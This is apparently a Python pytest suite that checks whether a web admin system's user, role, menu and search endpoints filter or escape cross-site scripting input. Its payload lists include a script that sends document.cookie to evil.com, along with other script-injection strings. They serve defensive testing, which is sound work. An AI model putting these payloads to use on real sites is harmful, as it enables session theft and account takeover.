"""
XSS防护测试套件

测试范围:
1. 反射型XSS测试
2. 存储型XSS测试
3. DOM型XSS测试
4. HTML注入测试
5. JavaScript注入测试

作者: 张翔
日期: 2026-04-01
"""

import pytest
from api.auth_api import AuthAPI
from api.user_api import UserAPI
from api.role_api import RoleAPI
from api.menu_api import MenuAPI
from config.settings import settings


@pytest.mark.security
@pytest.mark.asyncio
class TestXSSProtection:
    """XSS防护测试类"""
    
    async def test_user_input_xss(self, authenticated_client):
        """
        SEC-XSS-01: 用户输入XSS测试
        
        验证点:
        1. 用户名字段XSS防护
        2. 昵称字段XSS防护
        3. 备注字段XSS防护
        """
        user_api = UserAPI(authenticated_client)
        
        xss_payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "javascript:alert('XSS')",
            "<body onload=alert('XSS')>",
            "<iframe src='javascript:alert(1)'>",
            "<div onmouseover='alert(1)'>test</div>",
            "<a href='javascript:alert(1)'>click</a>",
            "'\"><script>alert('XSS')</script>",
            "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
        ]
        
        for payload in xss_payloads:
            user_data = {
                "username": f"xss_test_{payload[:10]}",
                "password": "Test123!@#",
                "nickname": payload,
                "email": f"xss_{payload[:10]}@test.com",
                "phone": "13800138000",
                "status": 1
            }
            
            response = await user_api.create_user(user_data)
            
            if response.status_code in [201, 200]:
                user_id = response.json().get("id")
                
                if user_id:
                    user_info = await user_api.get_user_by_id(user_id)
                    
                    if user_info.status_code == 200:
                        user = user_info.json()
                        
                        assert "<script>" not in str(user), \
                            f"XSS payload未过滤: {payload}"
                        assert "onerror=" not in str(user), \
                            f"XSS payload未过滤: {payload}"
                        assert "onload=" not in str(user), \
                            f"XSS payload未过滤: {payload}"
                    
                    await user_api.delete_user(user_id)
            else:
                assert response.status_code in [400, 422], \
                    f"XSS payload应被拒绝或清洗: {payload}"
    
    async def test_role_name_xss(self, authenticated_client):
        """
        SEC-XSS-02: 角色名称XSS测试
        
        验证点:
        1. 角色名称XSS防护
        2. 角色备注XSS防护
        """
        role_api = RoleAPI(authenticated_client)
        
        xss_payloads = [
            "<script>alert('role')</script>",
            "<img src=x onerror=alert('role')>",
            "管理员<script>document.cookie</script>"
        ]
        
        for payload in xss_payloads:
            role_data = {
                "roleName": payload,
                "roleKey": f"test_role_xss",
                "roleSort": 1,
                "status": 1,
                "remark": f"测试角色: {payload}"
            }
            
            response = await role_api.create_role(role_data)
            
            if response.status_code in [201, 200]:
                role_id = response.json().get("id")
                
                if role_id:
                    role_info = await role_api.get_role_by_id(role_id)
                    
                    if role_info.status_code == 200:
                        role = role_info.json()
                        
                        assert "<script>" not in str(role), \
                            f"角色XSS payload未过滤: {payload}"
                    
                    await role_api.delete_role(role_id)
    
    async def test_menu_name_xss(self, authenticated_client):
        """
        SEC-XSS-03: 菜单名称XSS测试
        
        验证点:
        1. 菜单名称XSS防护
        2. 菜单路径XSS防护
        """
        menu_api = MenuAPI(authenticated_client)
        
        xss_payloads = [
            "系统管理<script>alert(1)</script>",
            "<img src=x onerror=alert(1)>",
            "javascript:alert(1)"
        ]
        
        for payload in xss_payloads:
            menu_data = {
                "menuName": payload,
                "menuPath": f"/test-{payload[:10]}",
                "menuType": 1,
                "parentId": 0,
                "menuSort": 1,
                "status": 1
            }
            
            response = await menu_api.create_menu(menu_data)
            
            if response.status_code in [201, 200]:
                menu_id = response.json().get("id")
                
                if menu_id:
                    menu_info = await menu_api.get_menu_by_id(menu_id)
                    
                    if menu_info.status_code == 200:
                        menu = menu_info.json()
                        
                        assert "<script>" not in str(menu), \
                            f"菜单XSS payload未过滤: {payload}"
                    
                    await menu_api.delete_menu(menu_id)
    
    async def test_search_query_xss(self, authenticated_client):
        """
        SEC-XSS-04: 搜索查询XSS测试
        
        验证点:
        1. 搜索关键词XSS防护
        2. 返回数据转义
        """
        user_api = UserAPI(authenticated_client)
        
        xss_payloads = [
            "<script>alert('search')</script>",
            "<img src=x onerror=alert('search')>",
            "test<script>document.location='http://evil.com'</script>"
        ]
        
        for payload in xss_payloads:
            response = await user_api.get_users_by_page(
                page=0,
                size=10,
                username=payload
            )
            
            assert response.status_code in [200, 400]
            
            if response.status_code == 200:
                data = response.json()
                
                assert "<script>" not in str(data), \
                    f"搜索结果包含未转义的XSS payload: {payload}"
    
    async def test_html_injection(self, authenticated_client):
        """
        SEC-XSS-05: HTML注入测试
        
        验证点:
        1. HTML标签被转义或移除
        2. 事件处理器被移除
        """
        user_api = UserAPI(authenticated_client)
        
        html_payloads = [
            "<h1>Test</h1>",
            "<div style='color:red'>test</div>",
            "<a href='http://evil.com'>click</a>",
            "<img src='http://evil.com/steal?cookie=xxx'>",
            "<table><tr><td>test</td></tr></table>"
        ]
        
        for payload in html_payloads:
            user_data = {
                "username": f"html_test_{payload[:10]}",
                "password": "Test123!@#",
                "nickname": payload,
                "email": f"html_{payload[:10]}@test.com",
                "phone": "13800138000",
                "status": 1
            }
            
            response = await user_api.create_user(user_data)
            
            if response.status_code in [201, 200]:
                user_id = response.json().get("id")
                
                if user_id:
                    user_info = await user_api.get_user_by_id(user_id)
                    
                    if user_info.status_code == 200:
                        user = user_info.json()
                        nickname = user.get("nickname", "")
                        
                        assert "<h1>" not in nickname or "&lt;h1&gt;" in nickname, \
                            f"HTML未正确转义: {payload}"
                    
                    await user_api.delete_user(user_id)
    
    async def test_javascript_protocol_xss(self, authenticated_client):
        """
        SEC-XSS-06: JavaScript协议XSS测试
        
        验证点:
        1. javascript:协议被过滤
        2. data:协议被过滤
        """
        user_api = UserAPI(authenticated_client)
        
        js_protocol_payloads = [
            "javascript:alert(1)",
            "javascript:void(0)",
            "data:text/html,<script>alert(1)</script>",
            "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
        ]
        
        for payload in js_protocol_payloads:
            user_data = {
                "username": f"js_test_{payload[:10]}",
                "password": "Test123!@#",
                "nickname": "测试用户",
                "email": f"js_{payload[:10]}@test.com",
                "phone": "13800138000",
                "avatar": payload,
                "status": 1
            }
            
            response = await user_api.create_user(user_data)
            
            if response.status_code in [201, 200]:
                user_id = response.json().get("id")
                
                if user_id:
                    user_info = await user_api.get_user_by_id(user_id)
                    
                    if user_info.status_code == 200:
                        user = user_info.json()
                        avatar = user.get("avatar", "")
                        
                        assert not avatar.startswith("javascript:"), \
                            f"JavaScript协议未过滤: {payload}"
                        assert not avatar.startswith("data:text/html"), \
                            f"Data协议未过滤: {payload}"
                    
                    await user_api.delete_user(user_id)
    
    async def test_event_handler_xss(self, authenticated_client):
        """
        SEC-XSS-07: 事件处理器XSS测试
        
        验证点:
        1. on*事件处理器被过滤
        2. 内联事件被移除
        """
        user_api = UserAPI(authenticated_client)
        
        event_payloads = [
            "test onmouseover=alert(1)",
            "test onclick=alert(1)",
            "test onfocus=alert(1)",
            "test onblur=alert(1)",
            "test onload=alert(1)"
        ]
        
        for payload in event_payloads:
            user_data = {
                "username": f"event_test_{payload[:10]}",
                "password": "Test123!@#",
                "nickname": payload,
                "email": f"event_{payload[:10]}@test.com",
                "phone": "13800138000",
                "status": 1
            }
            
            response = await user_api.create_user(user_data)
            
            if response.status_code in [201, 200]:
                user_id = response.json().get("id")
                
                if user_id:
                    user_info = await user_api.get_user_by_id(user_id)
                    
                    if user_info.status_code == 200:
                        user = user_info.json()
                        
                        assert "onmouseover=" not in str(user), \
                            f"事件处理器未过滤: {payload}"
                        assert "onclick=" not in str(user), \
                            f"事件处理器未过滤: {payload}"
                    
                    await user_api.delete_user(user_id)
    
    async def test_svg_xss(self, authenticated_client):
        """
        SEC-XSS-08: SVG XSS测试
        
        验证点:
        1. SVG标签事件被过滤
        2. SVG脚本被移除
        """
        user_api = UserAPI(authenticated_client)
        
        svg_payloads = [
            "<svg onload=alert(1)>",
            "<svg><script>alert(1)</script></svg>",
            "<svg><animate onbegin=alert(1)></svg>",
            "<svg><set onbegin=alert(1)></svg>"
        ]
        
        for payload in svg_payloads:
            user_data = {
                "username": f"svg_test_{payload[:10]}",
                "password": "Test123!@#",
                "nickname": payload,
                "email": f"svg_{payload[:10]}@test.com",
                "phone": "13800138000",
                "status": 1
            }
            
            response = await user_api.create_user(user_data)
            
            if response.status_code in [201, 200]:
                user_id = response.json().get("id")
                
                if user_id:
                    user_info = await user_api.get_user_by_id(user_id)
                    
                    if user_info.status_code == 200:
                        user = user_info.json()
                        
                        assert "<svg" not in str(user).lower() or \
                               "&lt;svg" in str(user).lower(), \
                            f"SVG XSS未过滤: {payload}"
                    
                    await user_api.delete_user(user_id)
